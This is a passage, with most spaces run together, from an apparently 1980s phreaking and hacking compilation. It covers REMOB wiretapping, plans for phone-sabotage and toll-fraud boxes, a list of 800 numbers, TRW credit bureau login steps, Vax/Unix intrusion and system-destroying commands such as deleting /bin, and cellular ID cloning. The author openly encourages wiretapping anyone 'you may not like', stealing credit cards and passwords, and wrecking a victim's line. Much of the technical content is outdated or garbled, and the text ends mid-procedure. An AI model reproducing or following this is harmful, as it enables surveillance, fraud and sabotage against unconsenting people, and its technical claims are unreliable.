information exchanges, or onspecial access trunks [Unreachable exceptvia blue
box].Atonewillthenbeheardforapproximately2secondsandthensilence.You
mustkeyin(InDTMF)a2to5digitaccesscodewhileholdingeachdigitdownat
least1second.Ifthecodeisnotenteredwithin5or6seconds,theRemobwill
releaseandmustbedialledagain.Ifthecodeissupposedlyanothertonewillbe
heard.Asevendigitsubscriberphonenumbercanthenbeentered[TheRemobcan
only handle certain exchanges which are pre wired, so usually one machine
cannotmonitoranentireNPA].TheRemobwillthenconnecttothesubscribersline.
Thelistenerwillhearthelowlevelidletoneaslongasthemonitoredpartyison
hook.Asthemonitoredpartydials[rotaryorDTMF],thelistenerwouldhear[And
Record]thenumberbeingdialled.Thentheentireconversation,datalink,whatever
is taking place, all without detection. There is no current box which can detect
Remobobservation,sinceitisbeingdonewiththetelephoneequipmentthatmakes
theconnection.Whenthelistenerisfinishedmonitoringofthatparticularcustomer,
hekeysthelastdigitoftheaccesscodetodisconnectshimfromthemonitoredline
andreturntothetonesothathecankeyinanother7digitphone#.Whenthelistener
is totally finished with the Remob, he keys a single disconnect digit which
disconnects him from the Remob so that the device can reset and be ready for
anothercaller.

HistoryofRemObs
Bell has kept the existence of Remobs very low key. Only in 1974, Bell
acknowledged that Remobs existed. The device was first made public during
hearings on "Telephone Monitoring Practices by Federal Agencies" before a
subcommitteeongovernmentoperations.HouseofRepresentatives,NinetyThird
Congress,June1974.IthassincebeenstatedbyBellthattheRemobdevicesare
used exclusively for monitoring Bell employees such as operators, information
operatorsetc.tokeeptabsontheirperformance[Sure,werestupid].

PossibleUsesforRemObs
ThepossibleusesofRemobsarealmostasendlessastheusesofselfcreatedphone
line.Imaginetheabilitytomonitorbanklinesetc.justoffthetopofmyheadIcan
thinkoftheseapplications.
DataMonitoringof
TRW;NationalCreditBureau;AT&TCosmos;BankInstitutions;Compuserve
andotherNetworks.
VoiceMonitoringof
BankInstitutions;MailOrderbusinesses;BellTelephonethemselves;Anyplace
handlingsensitiveorimportantinformation;Anyonethatyoumaynotlike.Withjust
one Remob, someone could get hundreds of credit cards, find out who was on
vacation,getcompuservepasswordsbythedozens,disconnectpeoplesphones,do
creditchecks,findoutaboutanythingthattheymaywanttofindoutabout.I'msure
youbrilliantcanseethevalueofatelephonehobbiestandatelecommunications
enthusiastgettinghishandsonafewchoiceRemobs.
Caution: IfanyreadershoulddiscoveraRemobduringhis(orher)scanning
excursions,pleasekeepinmindtheverystrictfederallawsregardingwiretapping
andunauthorizeduseofprivateBellproperty.
ScarletBoxPlans
byJollyRoger
ThepurposeofaScarletboxistocreateaverybadconnection,itcanbeusedto
crashaBBSorjustmakelifemiserableforthoseyouseektoavenge.
Materials
2alligatorclipsand3inchwire,oraresister(plainwirewillcreategreatestamount

ofstatic)(Resisterwilldecreasetheamountofstaticinproportiontotheresisteryou
areusing).
Findthephoneboxatyourvictimshouseandpopthecoveroff.Findthetwo
prongsthatthephonelineyouwishtoboxareconnectedto.Hookyouralligator
clipstoyour(wire/resister).Findthelowermiddleprongandtakeoffallwires
connectedtoit,Ithinkthisdisablesthegroundandcallwaitingandshitlikethat.
Nowtakeoneofthealligatorclipsandattachittotheuppermostprong,andtakethe
otherandattachittothelowermiddleprong.Nowputthecoverbackontheboxand
takeoff!!!
**########**
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/
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/
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(**)=prongs
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(/)=(wire/resister)
(##)=somephonebullshit
SilverBoxPlans
byJollyRoger
Introduction
FirstabitofPhoneTrivia.Astandardtelephonekeypadhas12buttons.These
buttons,whenpushed,produceacombinationoftwotones.Thesetonesrepresentthe
rowandcolumnofthebuttonyouarepushing.
111
234
037
967

697(1)(2)(3)
770(4)(5)(6)
851(7)(8)(9)
941(*)(0)(#)
So:
produces a tone of 697 + 1209 producesatoneof697+1336etc.
Function
WhattheSilverBoxdoesisjustcreatesanothercolumnofbuttons,withthenew
toneof1633.ThesebuttonsarecalledA,B,CandD.
Usefulness
Anyonewhoknowsanythingaboutfreakingshouldknowthatintheolddaysof
freaking,freaksusedhardwaretohavefuninsteadofotherpeople'sSprintandMCI
codes.Themostfamous(anduseful)wasthegoodoldBlueBox.However,MaBell
decidedtofightbackandnowmostphonesystemshaveprotectionsagainsttone
emittingboxes.ThismakesboxingjustaboutfutileinmostareasoftheUnitedStates
(i.e.thoseareaswithCrossbarorStepByStep).Ifyouliveinornearagoodsized
city,thenyourphonesystemis probablyuptodate(ESS)andthisbox(andmost
others)willbeuseless.However,ifyouliveinthemiddleofnowhere(nooffence
intended),youmayfindauseforthisandotherboxes.
Materials
1FootofBlueWire;1FootofGreyWire;1FootofBrownWire;1SmallSPDT
Switch(*);1StandardMaBellPhone;(*)SPDT=SinglePole/DoubleThrow
Tools
1SolderingIronand1FlatTipScrewdriver
Procedure
Loosenthetwoscrewsonthebottomofthephoneandtakethecaseinfoff.Loosen
thescrewsonthesideofthekeypadandremovethekeypadfromthemounting
bracket.Removetheplasticcoverfromthekeypad.Turnthekeypadsothat*0#is
facingyou.Turnthekeypadover.You'llseeabunchofwires,contacts,twoBlack
Coilsetc.LookattheCoilontheleft.Itwillhavefive(5)SolderContactsfacing
you.SoldertheGreyWiretothefourthContactPolefromtheleft.Soldertheother
endoftheGreyWiretotheLeftPoleoftheSPDTSwitch.FindtheThree(3)Gold
Plated Contacts on the bottom edge of the keypad. On the Left Contact, gently
separatethetwotouchingConnectors(they'resolderedtogether)andspreadthem

apart.SoldertheBrownWiretotheContactfarthestfromyou,andsoldertheother
endtotheRight Poleof theSPDTSwitch.SoldertheBlueWiretotheClosest
Contact,andtheotherendtotheCenterPoleoftheSPDTSwitch.Putthephone
backtogether.
UsingTheSilverBox
Whatyouhavejustdonewasinstalledaswitchthatwillchangethe369#column
intoanABCDcolumn.Forexample,todialaB,switchtoSilverBoxTonesand
hit6.NooneissureoftheA,BandCuses.However,inanareawithanoldphone
system,theDbuttonhasaninterestingeffect.DialDirectoryAssistanceandhold
downD.Thephonewillringandyoushouldgetapulsingtone.Ifyougeta
pissedoffoperator,youhaveanewerphonesystemwithdefencesagainstSilver
Boxes.Atthepulsingtone,diala6or7.Theseareloopends.
BellTrashing
byJollyRoger
ThePhoneCo.willgotoextremesonoccasions.Infact,unlessyoureallyknow
what to expect from them, they will surprise the heck out of you with their
"unpublishedtariffs".Recently,asituationwasbroughttomyattentionthatuptill
then I had been totally unaware of, least to mention, had any concern about. It
involved garbage ! The phone co. will go as far as to prosecute anyone who
rummagesthroughtheirgarbageandhelpshimselftosome.Ofcourse,theyhave
theirreasonsforthis,andnodoubtbenefitfromsuchaction.But,whyshouldtheybe
sopickyaboutgarbage?Theanswersoonbecamecleartome:thosehugemetal bins
are filled up with more than waste old food and refuse. Although it is Pacific
Telepolicytorecyclepaperwasteproducts,sometimesemployeesdooverlookthis
sacredoperationwhensortingthegarbage.ThustopsecretconfidentialPhoneCo.
recordsgotothegarbagebinsinsteadofthepapershredders.Sinceitisconstantly
beingupdatedwith"companymemorandums,andsuppliedwithextensivereference
material,thePhoneCo.mustcontinuallydisposeoftheoutdatedmaterials.Some
phonecompaniesaresuppliedeachyearwiththecomplete"SystemPractices"guide.
This publication is an over 40 foot long library of reference material about
everything to do with telephones. As the new edition arrives each year, the old
versionof"SystemPractices"mustalsobethrownout.Iveryquicklyfiguredout
where some local phone freaks were getting their material. They crawl into the
garbagebinsandremoveselecteditemsthatareofparticularinteresttothemand
their fellow freaks. One phone freak in the Los Angeles area has salvaged the
complete1972editionof"BellSystemPractices".Itissolargeandwasoutoforder
(thebindershadbeenremoved)thatittookhimoverayeartosortitoutandcreate
enoughshelvingforitinhisgarage.Muchofthis"TopSecret"informationisso
secretthatmostphonecompanieshavenoideawhatisintheirfiles.Theyhavetheir
handsfullsimplyreplacingeverythingeachtimeachangeinwordingrequiresanew

revision.Itseemstheywastemorepaperthantheycanread!Ittookquiteawhilefor
Hollywood Call traffic manager to figure out how all of the local phone freaks
constantlydiscoveredtheswitchroomtestnumbers.Wheneversomeonewantedto
usethetestboard,theyfoundthelocalphonefreaksonthelinestalkingtoallpoints
allovertheworld.Itgottothepoint wherethelocalgarbagebuffsknewmoreabout
theofficeoperationsthantheemployeesthemselves.Onefreakwentsofarastocall
inandtellaswitchmanwhathisnextdailyassignmentwouldbe.This,however,
provedtobetoomuch.Theswitchmantracedthecallandonephonefreakwas
deniedthetoolofhistrade.Inanotherratherhumorousincident,afellowfreakwas
rummagingthroughthetrashbinwhenheheardsomeoneapproaching.Hepressed
upagainstthesideofthebinandsilentlywaitedforthegoodiestocome.Youcan
imaginehissurprisewhenthegarbagefromthelunchroomlandedonhishead.Most
peoplefindeveningsbestforcheckingouttheirlocaltellcotrashpiles.Theonly
thingnecessaryisaflashlightand,inthecasementionedabove,possiblyaraincoat.
Awordofwarningthough,beforeyourushoutanddiveintothetrashheap.Itis
probablyillegal, but no matter where youlive, youcertainlywon't get thelocal
policemantoholdyourflashlightforyou.
CanadianWatsPhonebook
courtesyofJollyRoger
8002274004RolmCollagenCorp.
8003878864RolmCanadianTire
8002278933RolmCollagenCorp.
8003878870RolmHalifaxLife
8002684500VoiceMail
8003878871RolmHalifaxLife
8002684501RolmTexaco
8003879115AspenSunsweep
8002684505VoiceMail
8003879116AspenSunsweep
8002686364NationalDataCredit
8003879175PBX [Hold Music= Chum
8002687800VoiceMail
FM]
8002687808VoiceMail
8003879218VoiceMessenger
8003289632VoiceMail
8003879644Carrier
8003872097VoiceMail
8004262638Carrier
8003872098VoiceMail
8005242133Aspen
8003878803RolmCanadianTire
8006635000PBX/VoiceMail[Hold
8003878861RolmCanadianTire
Music=CFMIFM]
8003878862RolmCanadianTire
8006635996VoiceMail(5rings)
8003878863RolmCanadianTire
8008476181VoiceMail

Notes: Each and every one of these numbers is available to the 604 (British
Columbia)AreaCode.MostareavailableCanadaWideandsomearelocatedinthe
UnitedStates.NumbersdesignatedRolmhavebeenidentifiedasbeingconnectedto
aRolmPhonemailsystem.NumbersdesignatedAspenareconnectedtoanAspen
voicemessagesystem.Numbersdesignatedvoicemailhavenotbeenidentifiedasto
equipmentinuseonthatline.Numbersdesignatedcarrierareansweredbyamodem
ordataset.MostVoiceMessagesystemsandAllRolms,soundlikeananswering

machine.Press0duringtherecordingwheninaRolm,*or#orotherDTMFin
othersystemsandbepropelledintoanotherworld.

HackingTRW
byJollyRoger
WhenyoucallTRW,thedialupwillidentifyitselfwiththemessage"TRW".It
willthenwaitforyoutotypetheappropriateanswerback(suchasCtrlG)Once
Thishasbeendone,thesystemwillsay"circuitbuildinginprogress".Alongwitha
fewnumbers.Afterthis,itclearsthescreen(CtrlL)followedbyaCtrlQ.Afterthe
systemsendstheCtrlQitisreadyfortherequest.Youfirsttypethe4character
identifier for the geographical area of the account. For Example:
TCA1 for certain Calif. & Vicinity TNJ1 Their NJ Database;
subscribers;
TGA1TheirGeorgiaDatabase.
TCA2 a second Calf. Trw System;

TheuserthentypesA<cr>andthenonthenextline,hemusttypehis3char.
Option.MostRequestsusetheRTSoption.OPXRTX,andafewothersexist.
Note: TRWwillacceptanA,C,orSastheXintheoptionsabove.)Then
finally,theusertypeshis7digitsubscribercode.Heappendshis34character
password after it. It seems that if you manage to get hold of a TRW Printout
(TrashingatSears,Saksetc.orfromgettingyourcreditprintoutfromthem)Their
subscribercodewillbeonitleavingonlya34characterp/wuptoyou. For
Example:
(CalltheDialUp)
TRWSystemTypes,ST)CtrlG
(Youtype,YT)Circuitbuildinginprogress1234
(ST)CtrlLCtrlQ(TCA1CYT)BTS3000000AAA
<cr><ctrls>pre<(yt]>
Note:ThissystemisinHalfDuplex,EvenParity,7Bitsperwordand2StopBits.
Caution:ItisaverystressedrumourthataftertypingintheTRWpasswordthree
(3)timesitsetsanAutomaticNumberIdentificationonyourass,sobecareful.And
forgetwhotoldyouhowtodothis!
HackingVax's&Unix
byJollyRoger
UnixisatrademarkofAt&t(andyouknowwhatthatmeans).Inthisarticle,we
discusstheunixsystemthatrunsonthevariousvaxsystems.Ifyouareonanother
unixtypesystem,somecommandsmaydiffer,butsinceitislicencedtobell,they
can'tmakemanychanges.Hackingontoaunixsystemisverydifficult,andinthis

case,weadvisehavinganinsidesource,ifpossible.Thereasonitisdifficulttohack
avaxisthis:Manyvax,afteryougetacarrierfromthem,respond:
=>Login:
Theygiveyounochancetoseewhattheloginnameformatis.Mostcommonly
usedaresinglewords,under8digits,usuallytheperson'sname.Thereisaway
aroundthis:Mostvaxhaveanacct.called'suggest'forpeopletousetomakea
suggestion to the system root terminal. This is usually watched by the system
operator,butatlateheisprobablyathomesleepingorscrewingsomeone'sbrains
out.Sowecanwriteaprogramtosendatthevaxthistypeofamessage:Ascreen
freeze(Cntrls),screenclear(systemdependant),about255garbagecharacters,and
thenacommandtocreatealoginacct.,afterwhichyouclearthescreenagain,then
unfreezetheterminal.Whatthisdoes:Whentheterminalisfrozen,itkeepsabuffer
ofwhatissent.well,thebufferisabout127characterslong.soyouoverflowitwith
trash,andthenyousendacommandlinetocreateanacct.(Systemdependant).after
thisyouclearthebufferandscreenagain,thenunfreezetheterminal.Thisisabad
waytodoit,anditismuchnicerifyoujustsendacommandtotheterminaltoshut
thesystemdown,orwhateveryouareafter.Thereisalways,*Always*anacct.
calledroot,themostpowerfulacct.tobeon,sinceithasallofthesystemfilesonit.
Ifyouhackyourwayontothisone,theneverythingiseasyfromhereon...Onthe
unixsystem,theabortkeyistheCntrlDkey.watchhowmanytimesyouhitthis,
sinceitisalsoawaytologoffthesystem!Alittleaboutunixarchitecture:Theroot
directory,calledroot,iswherethesystemresides.Afterthiscomeafewsubroot
directories,usuallytogroupthings(stateshere,privstuffhere,theuserloghere).
Underthiscomesthesuperuser(theoperatorofthesystem)andthenfinallythe
normalusers.IntheunixShelleverythingistreatedthesame.Bythiswemean:
Youcanaccessaprogramthesamewayyouaccessauserdirectoryandsoon.The
way the unix system was written, everything, users included, are just programs
belongingtothe rootdirectory.Thoseofyouwhohackedontotheroot,smile,since
youcanscreweverything,themainlevel(execlevel)promptontheunixsystemis
the$andifyouareontheroot,youhavea#(superuserprompt).O.K.,afewbasics
forthesystem.Toseewhereyouareandwhatpathsareactiveinregardstoyour
useraccount,thentype
=>pwd
Thisshowsyouracct.separatedbyaslashwithanotherpathname(acct.),possibly
manytimes.Toconnectthroughtoanotherpathormanypaths,youwouldtype:
You=>path1/path2/path3
Andthenyouareconnectedallthewayfrompath1topath3.Youcanrunthe
programsonallthepathsyouareconnectedto.Ifitdoesnotallowyoutoconnectto
apath,thenyouhaveinsufficientprivsorthepathisclosedandarchivedontotape.
Youcanrunprogramsthiswayalso:
you=>path1/path2/path3/programname
Unixtreatseverythingasaprogram,andthusthereafewcommandstolearn.To
seewhatyouhaveaccesstointheendpath,type:
=>ls
forlist.thisshowtheprogramsyoucanrun.Youcanconnecttotherootdirectory

andrunit'sprogramswith
=>/root
Bytheway,mostunixsystemshavetheirlogfileontheroot,soyoucansetupa
watchonthefile,waitingforpeopletologinandsnatchtheirpasswordasitpasses
throughthefile.Toconnecttoadirectory,usethecommand:
=>cdpathname
Thisallowsyoutodowhatyouwantwiththatdirectory.Youmaybeaskedfora
password,butthisisagoodwayoffindingotherusernamestohackonto.Thewild
cardcharacterinunix,ifyouwanttosearchdownapathforagameorsuch,isthe*.
=>ls/*
Shouldshowyouwhatyoucanaccess.Thefiletypesarethesameastheyareona
dec,sorefertothatsectionwhenexaminingfile.Toseewhatisinafile,usethe
=>pr
filenamecommand,forprintfile.Weadviseplayingwithpathnamestogetthehang
oftheconcept.Thereisonlinehelpavailableonmostsystemswithahelpora?
.Weadviseyoulookthroughthehelpfilesandpayattentiontoanythingtheygive
youonpathnames,orthecommandsforthesystem.Youcan,asauser,createor
destroydirectoriesonthetreebeneathyou.Thismeansthatrootcankilleverything
butroot,andyoucankillanythatarebelowyou.Thesearethe
=>mkdirpathname
=>rmdirpathname
commands.Onceagain,youarenotaloneonthesystem,type
=>who
toseewhatotherusersareloggedintothesystematthetime.Ifyouwanttotalkto
them
=>writeusername
Willallowyoutochatatthesametime,withouthavingtoworryabouttheparser.
Tosendmailtoauser,say
=>mail
Andenterthemailsubsystem.Tosendamessagetoalltheusersonthesystem,
say
=>wall
Whichstandsforwriteall.Bytheway,onafewsystems,allyouhavetodois
hitthe<return>keytoendthemessage,butonothersyoumusthitthecntrldkey.
Tosendasinglemessagetoauser,say
=>writeusername
Thisisveryhandyagain!Ifyousendthesequenceofcharactersdiscussedatthe
verybeginningofthisarticle,youcanhavethesuperuserterminaldotricksforyou
again.
Privs
Ifyouwantsuperuserprivs,youcaneitherloginasrootoredityourACCT.Soit
cansay
=>su

 Thisnowgivesyouthe#promptandallowsyoutocompletelybypassthe
protection.Thewonderfulsecurityconsciousdevelopersatbellmadeitverydifficult
to do much without privs, but once you have them, there is absolutely nothing
stoppingyoufromdoinganythingyouwantto.Tobringdownaunixsystem:
=>chdir/bin
=>rm*
Thiswipesoutthepathnamebin,whereallthesystemmaintenancefilesare.Ortry:
=>rr
Thisrecursivelyremoveseverythingfromthesystemexcepttheremovecommand
itself.Ortry:
=>kill1,1
=>sync
Thiswipesoutthesystemdevicesfromoperation.Whenyouarefinallysickand
tiredfromhackingonthevaxsystems,justhityourcntrldandrepeatkeyandyou
willeventuallybeloggedout.Thereasonthisfileseemstobeverysketchyisthefact
that bell has 7 licensed versions of unix out in the public domain and these
commandsarethosecommontoallofthem.Irecommendyouhackontotherootor
bindirectory,sincetheyhavethehighestlevelsofprivsandthereisreallynotmuch
youcando(exceptdevelopsoftware)withoutthem.
VerificationCircuits
courtesyofJollyRoger
1.Onebusyverificationconferencecircuitisalwaysprovided.Thecircuitisathree
wayconferencebridgethatenablesanoperatortoverifythebusy/idleconditionofa
subscriberline.Uponrequestofapartyattemptingtoreachaspecifieddirectory
number,theoperatordialsthecalledlinenumbertodetermineifthelineisinuse,if
thereceiverisoffthehookorifthelineisinlockoutduetoafaultcondition.The
operatorthenreturnstothepartytryingtoreachthedirectorynumberandstatesthe
condition of the lines. Lines with data security can not be accessed for busy
verificationwhenthelineisinuse(referalsotodatasecurity).
2. Threeports areassignedtoeachbusyverificationconferencecircuit.Oneport
accessportanddialsthedirectorynumberofthelinetobeverified.Ifthelineisin
use,theexistingconnectionisbrokenandimmediatelyreestablishedthroughthe
othertwoportsofthebusyverificationcircuitwithoutinterruption.Busyverification
circuit is controlled by access code. A dedicated trunk can be used, but is not
necessary.
3.Thebusyverificationcircuitalsocanbeusedfortestverifyfromthewirechiefs
testpanel.
4.Additionalbusyverificationconferencecircuits(002749).O.K.Thereitisright
outofanESSmanualwordforword!(AndI'mgetting25linearfeetofESS
manuals!!!Notcountingthestackreceivedsofar!

WhiteBoxPlans
byJollyRoger
Introduction
TheWhiteBoxissimplyaportableTouchTonekeypad.Formoreinformationon
TouchTone,seemySilverBoxPlans.
Materials

1TouchToneKeypad;Miniature1000to8OhmTransformer(RadioShack#
2731380);1Standard8OhmSpeaker;29VBatteries;29VBatteryClips
Procedure
ConnecttheRedWirefromtheTransformertoeitherterminalontheSpeaker.
ConnecttheWhiteWirefromtheTransformertotheotherterminalontheSpeaker.
Connect the Red Wire from one Battery Clip to the Black Wire from the other
BatteryClip.ConnecttheRedWirefromthesecondBatteryCliptotheGreenWire
fromtheKeypad.ConnecttheBlueWirefromtheKeypadtotheOrange/Black
WirefromtheKeypad.ConnecttheBlackWirefromthefirstBatteryCliptothetwo
abovewires(BlueandBlack/Orange).ConnecttheBlackWirefromtheKeypadto
theBlueWirefromtheTransformer.ConnecttheRed/GreenWirefromtheKeypad
to the Green Wire from the Transformer. Make sure the Black Wire from the
Transformer and the remaining wires from the Keypad are free. Hook up the
Batteries.
Optional
Putitallinacase.AddaSilverBoxtoit.
Use
Justuseitlikeanormalkeypad,exceptputthespeakernexttothereceiverofthe
phoneyou'reusing.
TheBastBox
courtesyofJollyRoger
Everwanttoreallymakeyourselfbeheard?Evertalktosomeoneonthephone
whojustdoesn'tshutup?Orjustcalltheoperatorandpophereardrum?Well,up
untilrecentlyithasbeenimpossibleforyoutodothesethings.Thatis,unlessof

courseyou'vegotablastbox.Allablastboxis,isareallycheapamplifier,(around
5wattsorso)connectedinplaceofthemicrophoneonyourtelephone.Itworksbest
onmodel500AT&TPhonesandifconstructedsmallenough,canbeplacedinside
thephone.
Construction
Constructionisnotreallyimportant.Wellitis,butsinceI'mlettingyoumakeyour
ownamp,Ireallydon'thavetoincludethis.
Usage
Once you've built your blast box, simply connect a microphone (or use the
microphonefromthephone)totheinputoftheamplifier,andpresto.Thereitis.
Now,believeitornot,thisdeviceactuallyworks.(Atleastoncrossbar.)Itseems
thatIllinoisbellswitchingsystemsallowquitealotofcurrenttopassrightthrough
theswitchingoffice,andouttowhoeveryou'recalling.Whenyoutalkinthephone,
itcomesoutoftheotherphone(againitworksbestifthephonethatyou'recalling
hasthestandardwesternelectricearpiece)incrediblyloud.Thisdeviceisespecially
goodforPBSSubscriptiondrives.Have"Fun"anddon'tgetcaught!
DealingwiththeRate&RouteOperator
byJollyRoger
Itseemsthatfewerandfewerpeoplehaveblueboxesthesedaysandthatisreally
toobad.Blueboxes,whilenotallthatgreatformakingfreecalls(sincetheTPCcan
tellwhenthecallwasmade,aswellaswhereitwastooandfrom),arereallyalotof
funtoplaywith.ShortofbecomingarealliveTSPSoperator,theyareabouttheonly
wayyoucanreallyplaywiththenetwork.Forthefewofyouwithblueboxes,here
aresomephraseswhichmaymakelifeeasierwhendealingwiththerate&route(R
&R)operators.TogettheR&Rop,yousendaKP+141+ST.Insomeareas
youmayneedtoputanotherNPAbeforethe141(i.e.,KP+213+141+ST),if
youhavenolocalR&Rops.TheR&Roperatorhasamyriadofinformationand
allittakestogetthisdataismumblingcrypticphrases.Therearebasicallyfour
specialphrasestogivetheR&Rops.Theyare numbers route, directory route,
operatorrouteandplacename.TogetanR&Ranareacodeforacity,onecan
calltheR&Roperatorandaskforthenumbersroute.Forexample,tofindthearea
codeforCarsonCity,Nevada,we'dasktheR&Ropfor"CarsonCity,Nevada,
numbersroute,please."andgettheanswer,"Right,702plus."meaningthat702plus
7digitsgetsusthere.Sometimesdirectoryassistanceisn'tjustNPA+131.Theway
togettheseroutingsistocallR&Randaskfor"Anaheim,California,directory
route,please."Ofcourse,she'dtellusitwas714plus,whichmeans714+131gets
ustheD.A.opthere.Thisissortofpointlessexample,butIcouldn'tcomeupwitha
betteroneonshortnotice.Let'ssayyouwantedtofindouthowtogettotheinward

operatorforSacramento,California.Thefirstsixdigitsofanumberinthatcitywill
berequired(theNPAandanNXX).Forexample,letususe916756.Wewouldcall
R&Randwhentheoperatoranswered,say,"916756,operatorroute,please."The
operatorwouldsay,"916plus001plus."Thismeansthat916+001+121willget
youtheinwardoperatorforSacramento.Doyouknowthecitywhichcorrespondsto
503640?TheR&RoperatordoesandwilltellyouthatitisHillsboro,Oregon,if
yousweetlyaskfor"Placename,503640,please."Forexample,let'ssayyouneed
thedirectoryrouteforSveg,Sweden.SimplycallR&Randaskfor,"International,
Baden,Switzerland.TSPSdirectoryroute,please."Inresponsetothis,you'dget,
"Right...DirectorytoSveg,Sweden.Countrycode46plus1170."Soyou'droute
yourselftoaninternationalsenderandsend46+1170togettheD.A.operatorin
Sweden.Inwardoperatorroutingstovariouscountriesareobtainedthesameway
"International,London,England,TSPSinwardroute,please"andget"Countrycode
44plus121."Therefore,44plus121getsyouinwardforLondon.Inwardscanget
yourlanguageassistance,ifyoudon'tspeakthelanguage.Telltheforeigninward,
"UnitedStatescalling.Languageassistanceincompletingacallto(calledparty)at
(callednumber)."R&Roperatorsarepeoplearepeopletoo,youknow.Soalways
bepolite,makesureuseof'emanddialwithcare.
CellularFreaking
courtesyofJollyRoger
Thecellular/mobilephonesystemisonethatisperfectlysetuptobeexploitedby
freaks with the proper knowledge and equipment. Thanks to deregulation, the
regionalBOC's(BellOperatingCompanies)arescatteredanddonotcommunicate
muchwitheachother.Freakscantakeadvantageofthisbypretendingtobemobile
phonecustomerswhose"homebase"isacityservedbyadifferentBOC,knownasa
"roamer".SinceitisimpracticalforeachBOCtokeeptrackofthecustomersofall
theotherBOC's,theywillusuallyallowthecustomertomakethecallshewishes,
oftenwithasurchargeofsomesort.Thebillisthenforwardedtotheroamer'shome
BOCforcollection.However,itisfairlysimple(withthecorrecttools)tocreatea
bogusIDnumberforyourmobilephoneandpretendtobearoamerfromsomeother
cityandstate,that's"justvisiting".WhenyourBOCtriestocollectforthecallsfrom
youralleged"homeBOC",theywilldiscoveryouarenotarealcustomer;butby
then,youcancreateanentirelynewelectronicidentityandusethatinstead.How
doesthecellularsystemknowwhoiscallingandwheretheyare?Whenamobile
phoneentersacell'sareaoftransmission,ittransmitsitsphonenumberandits8digit
IDnumbertothatcell,whowillkeeptrackofituntilitgetsfarenoughawaythatthe
soundqualityissufficientlydiminished,andthenthephoneis"handedoff"tothe
cellthatthecustomerhaswalkedordriveninto.Thisprocesscontinuesaslongasthe
phonehaspowerandisturnedon.Ifthephoneisturnedoff(orthecaris),someone
attemptingtocallthemobilephonewillreceivearecordingalongthelinesof"The
mobilephonecustomeryouhavedialledhasleftthevehicleordrivenoutofthe
servicearea."Whenacallismadetoamobilephone,theswitchingequipmentwill

checktoseeifthemobilephonebeingcalledis"loggedin",sotospeak,orpresentin
oneofthecells.Ifitis,thecallwillthenact(tothespeakingparties)justlikea
normalcallthecallermayhearabusytone,thephonemayjustring,orthecallmay
beanswered.Howdoestheswitchingequipmentknowwhetherornotaparticular
phoneisauthorizedtousethenetwork?Manytimes,itdoesn't.Whenadealer
installsamobilephone,hegivesthephone'sIDnumber(an8digithexadecimal
number)tothelocal Boc,aswellasthephonenumbertheBocassignedtothe
customer. Thereafter, whenever a phone is present in one of the cells, the two
numbersarecheckedtheyshouldberegisteredtothesameperson.Iftheydon't
match,thetellcoknowsthatanattemptedfraudistakingplace(oratbest,some
transmissionerror)andwillnotallowcallstobeplacedorreceivedatthatphone.
However,itisimpractical(especiallygiventhepresentstateofderegulation)forthe
tellcotohaverecordsofeverycellularcustomerofeveryBoc.Therefore,ifyou're
goingtocreateafakeID/phonenumbercombination,itwillneedtobe"based"inan
areathathasacellularsystem(obviously),hasadifferentBocthanyourlocalarea
does,andhassomesortofa"roamer"agreementwithyourlocalBoc.Howcanone
"freak" a cellular phone? There are three general areas when freaking cellular
phones; using one you found in an unlocked car (or an unattended walkabout
model),modifyingyourownchipsettolooklikeadifferentphone,orrecordingthe
phonenumber/ IDnumber combinationssentbyother localcellular phones,and
usingthoseasyourown.Mostcellularphonesincludeacrude"password"systemto
keep unauthorized users from using the phone however, dealers often set the
password(usuallya3to5digitcode)tothelastfourdigitsofthecustomer'smobile
phonenumber.Ifyoucanfindthatsomewhereonthephone,you'reinluck.Ifnot,it
shouldn't be too hard to hack, since most people aren't smart enough to use
somethingbesides"1111","1234"orwhatever.Ifyouwanttomodifythechipset
inacellularphoneyoubought(orstole),therearetwochips(ofcourse,thisdepends
onthemodelandmanufacturer,yoursmaybedifferent)thatwillneedtobechanged
oneinstalledatthemanufacturer(oftenepoxiedin)withthephone'sIDnumberand
oneinstalledbythedealerwiththephonenumberandpossiblethesecuritycode.To
dothis,you'llobviouslyneedanEpromburneraswellasthesamesortofchipsused
inthephone(orafriendlyandunscrupulousdealer!).Astorecordingthenumbers
ofothermobilephonecustomersandusingthem;asfarasIknow,thisisjusttheory,
butitseemsquitepossible,ifyou'vegottheequipmenttorecordanddecodeit.The
cellular system would probably freak out if two phones (with valid ID/ phone
numbercombinations)werebothpresentinthenetworkatonce,butitremainstobe
seenwhatwillhappen.
CheeseboxPlans
courtesyofJollyRoger
ACheesebox(namedforthetypeofboxthefirstonewasfoundin)isatypeof
box which will, in effect, make your telephone a Pay Phone. This is a simple,
modernizedandeasywayofdoingit.InsideInfo:Thesewerefirstusedbybookies

manyyearsagoasawayofmakingcallstopeoplewithoutbeingcalledbythecops
orhavingtheirnumberstracedand/ortapped.
HowToMakeAModernCheeseBox
Ingredients
1CallForwardingserviceontheline;1SetofRedBoxTonesandthenumberto
yourprefix'sInterceptoperator(dosomescanningforthisone)
HowTo
Afteryoufindthenumbertotheinterceptoperatorinyourprefix,useyourcall
forwardingandforwardall callstoher.This willmake your phonestayoff the
hook(actually,nowitwaitsforaquartertobedroppedin).Younowhaveacheese
box inOrderToCallOutOnThisLine:YoumustuseyourRedBoxtonesand
generatethequarterdroppingin.Then,youcanmakephonecallstopeople.Asfaras
Iknow,thisisfairlysafeandtheydonotcheckmuch.AlthoughIamnotsure,I
thinkyoucanevenmakecreditcardcallsfromacheeseboxphoneandnotget
traced.
Howtostartyourownconferences!
broughttoyoubyExodus
BlackBartshowedhowtostartaconferencecallthroughan800exchangeandI
willnowexplainhowtostartaconferencecallinamoreorthodoxfashion,the2600
hz.tone.Firstly,thephonecompanyhaswhatiscalledswitchingsystems.Thereare
several types, but the one we will concern ourselves with, is ESS (Electronic
SwitchingSystem).IfyourareaiszonedforESS,donotstartaconferencecallvia
the2600hz.ToneorBellsecuritywillnailyourass!Tofindoutifyouareunder
ESS, call your local business office and ask them if you can get call waiting/
forwardingandifyoucan,thatmeansthatyouareinESScountryandconference
callingisvery,verydangerous!!! Now,ifyouarenotinESS,youwillneedthe
followingequipment:anApplecatIIModem;acopyofTSPS2orCat'sMeow;a
touchtonephonelineandatouchtonephone(truetone).Now,withTSPS2,dothe
following:runTSPS2;choseoption1;choseoption6andchosesuboption9.Now
type:15145551212(dashesarenotneeded).Listenwithyourhandset andas
soonasyouhearaloudclick,thentype:$.Togeneratethe2600hz.tonethis
obnoxioustonewillcontinueforafewseconds,thenlistenagainandyoushould
hearanotherloudclick.Now type:KM2130801050S.WhereK=KP tone;
M=multifrequencymode;S=Stone.Nowlistentothehandsetagainand
